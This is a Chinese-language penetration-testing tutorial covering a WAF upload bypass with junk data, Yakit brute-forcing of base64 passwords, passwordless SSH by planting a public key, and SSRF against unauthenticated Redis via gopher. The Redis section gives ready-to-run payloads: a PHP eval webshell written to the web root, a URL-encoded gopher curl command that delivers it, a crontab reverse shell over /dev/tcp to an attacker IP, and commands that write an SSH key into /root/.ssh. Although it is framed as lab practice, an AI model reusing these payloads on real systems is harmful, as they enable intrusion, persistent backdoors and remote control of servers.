WAF,Yakit,SSH 小技巧

文章目录

  • WAF,Yakit,SSH 小技巧
    • 1. WAF 文件上传绕过
    • 2. Yakit 暴力破解
    • 3. SSH 免密码登录
    • 4. SSRF配合redis未授权漏洞
      • 4.1 安装ssh
      • 4.2 redis未授权
      • 4.3 安装redis
      • 4.4 Gopher协议
      • 4.5 利用redis写文件

WAF,Yakit,SSH 小技巧

1. WAF 文件上传绕过

脏数据绕过WAF适用于所有的漏洞,但是前提条件是垃圾数据必须放在危险信息前面,并且不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场的文件上传漏洞为例。

WAF,Yakit,SSH 小技巧_第1张图片

被WAF拦截。

WAF,Yakit,SSH 小技巧_第2张图片

现在针对于文件上传的绕过,找到上传文件的数据包。

WAF,Yakit,SSH 小技巧_第3张图片

输入脏数据在Content-Disposition字段中的from-data;分号的前面再加上一个分号,如果不加分号,脏数据会影响到原有数据包的结构。

WAF,Yakit,SSH 小技巧_第4张图片

然后在输入脏数据,成功绕过并且显示出了文件的上传路径。

WAF,Yakit,SSH 小技巧_第5张图片

注意:根据不同的WAF,脏数据要放在不同的位置。

2. Yakit 暴力破解

在用户登录的时候前端传递用户名和密码,对密码进行base64的加密,在后端做一个base64解密。那么在爆破的时候就会出现问题,抓包的数据是base64编码之后的,而密码字典都是明文。如果给字典也进行base64编码非常的不现实。

bp也可以使用但是配置太麻烦了,可以使用Yakit工具来进行操作,因为Yakit适合于国内。

模拟环境,创建一个php文件,文件内容如下:


	$a=base64_decode($_GET['passwd']);

	if($a=="admin"){
		echo'wuhu';
	}else {
		echo'error';
	}

?>

WAF,Yakit,SSH 小技巧_第6张图片

在浏览器中进行访问

WAF,Yakit,SSH 小技巧_第7张图片

输入admin的base64加密后的字符串显示如下

WAF,Yakit,SSH 小技巧_第8张图片

后端将接受的数据进行了一个base64解密,如果前端传递的是一个明文密码,对明文密码进行base64解密那么一定会出错,然后输出error。

Yakit配置选项代理主机IP和代理监听的端口

WAF,Yakit,SSH 小技巧_第9张图片

配置好后点击劫持启动,然后就处于抓包状态了。选择自动放行。

WAF,Yakit,SSH 小技巧_第10张图片

History抓包历史

WAF,Yakit,SSH 小技巧_第11张图片

浏览器配置代理

WAF,Yakit,SSH 小技巧_第12张图片

浏览器开启代理,访问页面,然后History抓包历史就会有对应的数据包。

WAF,Yakit,SSH 小技巧_第13张图片

右键数据包发送到Web Fuzzer

WAF,Yakit,SSH 小技巧_第14张图片

WAF,Yakit,SSH 小技巧_第15张图片

方式一

替换admin,右键插入标签字典–>插入模糊测试字典标签。

WAF,Yakit,SSH 小技巧_第16张图片

WAF,Yakit,SSH 小技巧_第17张图片

需要在{{x(user_top10)}}前面再套一层base64编码。

{{base64({{x(user_top10)}})}}

WAF,Yakit,SSH 小技巧_第18张图片

查看详情

WAF,Yakit,SSH 小技巧_第19张图片

方式二

右键admin选择编码–>base64编码

WAF,Yakit,SSH 小技巧_第20张图片

替换内容

WAF,Yakit,SSH 小技巧_第21张图片

发包结果

WAF,Yakit,SSH 小技巧_第22张图片

3. SSH 免密码登录

ssh在连接的时候必须知道其明文密码。

ssh采用的是非对称加密,存在公钥和私钥的问题。一旦将自己的公钥写到受害者服务器上的ssh目录中,那么在进行ssh登录认证的时候就不需要密码。

实验环境

  • Kali:模拟受害者服务器,需要ssh服务开启,有自己的公钥私钥。
  • Win10:攻击者主机,需要把自己的公钥写到受害者服务器的.ssh目录下。

kali启动ssh服务

WAF,Yakit,SSH 小技巧_第23张图片

到root的家目录下,把攻击者的公钥写在哪个用户的家目录下,登录的时候必须以该用户的身份。写在kali用户的家目录下使用root用户是无法登录的。

WAF,Yakit,SSH 小技巧_第24张图片

进入.ssh目录,该目录下存放着已经通过认证的主机的公钥。

WAF,Yakit,SSH 小技巧_第25张图片

非对称加密的流程第一步就是互相交换公钥。

如果Win10想攻击kali,前提是Win10必须有ssh客户端。

(实战环境下前提是得有命令执行漏洞或者写文件的地方才可以将文件写进去。)

使用Git来完成本次实验,右键鼠标点击Git Bash Here进入命令窗口。

WAF,Yakit,SSH 小技巧_第26张图片

执行命令

ssh-keygen -t rsa

命令说明:

  • ssh-keygen -t rsa 是一个用于生成 RSA 密钥对的命令。执行该命令后,将生成一对完整的密钥:一个私钥和一个公钥。
  • 私钥会保存在你选择的目录中,通常是 ~/.ssh/id_rsa。私钥应该严格保密,并且不应该与他人共享。
  • 公钥将以 .pub 扩展名的文件形式保存在相同目录中,例如 ~/.ssh/id_rsa.pub。公钥可以安全地分发给他人,用于加密数据或者进行身份验证。

WAF,Yakit,SSH 小技巧_第27张图片

执行完命令后会在用户目录下生成一个.ssh目录。

WAF,Yakit,SSH 小技巧_第28张图片

目录内容如下

WAF,Yakit,SSH 小技巧_第29张图片

在id_rsa.pub文件中存放着攻击者的公钥。

WAF,Yakit,SSH 小技巧_第30张图片

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy4bH/4ut0RqjcRWMeyGEzw89dn+k2qaEOMHExreb3VbTCP1/AnFPYTshX/HETkMYMzbstIU+mzzy9zsZ7FXZcl+fhMFULV8o3t2LCxkT0PhvldlNjGGed7+TrQtD7eCFmNJKijM3nz8/+C4SwaHtAHeZzJIMPQOf/UdvlW0rNDXFaTGFgk8J3fan/4KRaApDvSPHtauTfAXZaEHqmkdNb59JWRxWjrl1a3vrEbOZmabGwx82NOT0Zbk2zeryk/WzympgkuwS6hgFatbeHSN1AElUqGk1Pm/EkEg+hxyhYftKyv2jw+uHA1n7mrK4tExzkJsRXRqFPlhqdrPINYrGlt2AbVu4+63emMjdTJ3i8eo0+HInL2cMcz7bFeQUKFO34GSJwtpl+6MQjpfn1kKWPNOu8OH40MjvYocLS2FHS44GtIKK+UsJad44NQeN1H6yOzBwL9G/aP0AHvMCvvKUtIvNlvhLvHidiZqYBIwf+jgfIRgqofSyET1LQBVoDhCM= wuhu@DESKTOP-6DBQCEP

在kali中编辑authorized_keys文件,将公钥内容复制到该文件中。(在实战中如果有命令执行漏洞,可以直接写echo 公钥内容 >> authorized_keys,前提对方的ssh得是开放着的,密钥认证功能也得有)

WAF,Yakit,SSH 小技巧_第31张图片

kail的ip地址

WAF,Yakit,SSH 小技巧_第32张图片

在Git的命令输入框中输入连接命令,没有输入密码直接就可以登录。

ssh [email protected]

WAF,Yakit,SSH 小技巧_第33张图片

WAF,Yakit,SSH 小技巧_第34张图片

4. SSRF配合redis未授权漏洞

4.1 安装ssh

kali:模拟受害者服务器,需要ssh服务开启,有自己的公钥私钥

win10:攻击者主机,需要把自己的公钥写到受害者服务器的.ssh目录下

WAF,Yakit,SSH 小技巧_第35张图片

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC

WAF,Yakit,SSH 小技巧_第36张图片

.ssh

两台主机,都存在登录的密钥

生成ssh密钥

ssh-keygen -t rsa

4.2 redis未授权

高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。

简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。

分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。

持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

适用场景:秒杀活动、广告投放、推荐系统、地图服务

4.3 安装redis

#kali换源
vim /etc/apt/sources.list

#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free

#更新索引文件
apt-get update

#更新软件包
apt-get upgrade

#安装redis
apt-get install redis-server

#启动
/usr/bin/redis-server

4.4 Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

4.5 利用redis写文件

WAF,Yakit,SSH 小技巧_第37张图片

redis-cli -h 【ip】

WAF,Yakit,SSH 小技巧_第38张图片

# 写shell
aaa

set 1 "$_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
save

bbb

# url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

# 反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
save

redis写入ssh公钥

config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCynKjy0HTJ1A2Cyr9vtIuc/bR9Vp4Up4cl616CCmL5Abz2/vsDR7R9+TWV+sYE69L9gR8fmLtEvm/cTfeCkPrvd2t4/GZ7NUkQgMrkEBB2yIF5To3diL9qzyN/6P3a22bzvfxFN9VJ1LCO27Y6C4RaGZFajYpPMeGSf39F8nxeBVZW57R6Yg4jGv33KhhNSzqB2sdMJB9I3PUZdXT9eIig+gDkeABoD0vkymB08qfJgpU2myRJiWW6oS7KEyDqYDWw6yNhEzeSRJKTD5VRLkIUYkYOZzn/OxfGqu8lJ165bNSdRXHhrmsa+mitlRXdJheGN3nRSkVfuOpuI9Sqf0NbKl7AtlVhW35NUma5A1b6WMHKKISjHqNKBsA0kJEbFAZIB1IEYzsUhYKkMyv+Cwsm/2ipighFWoQh/O+gY7t3puG1Zs8jCwSJ9A4t9chkQMzn/vKBYkRjsqS8IzxpUsd6proMxBYPw3Gk3NzfUXqW3LPbilA0Q3yQaGBR2wX20t0= wuhu@wuhu-PC" 
save 
quit

你可能感兴趣的:(ssh,网络安全,系统安全,安全,Yakit,WAF)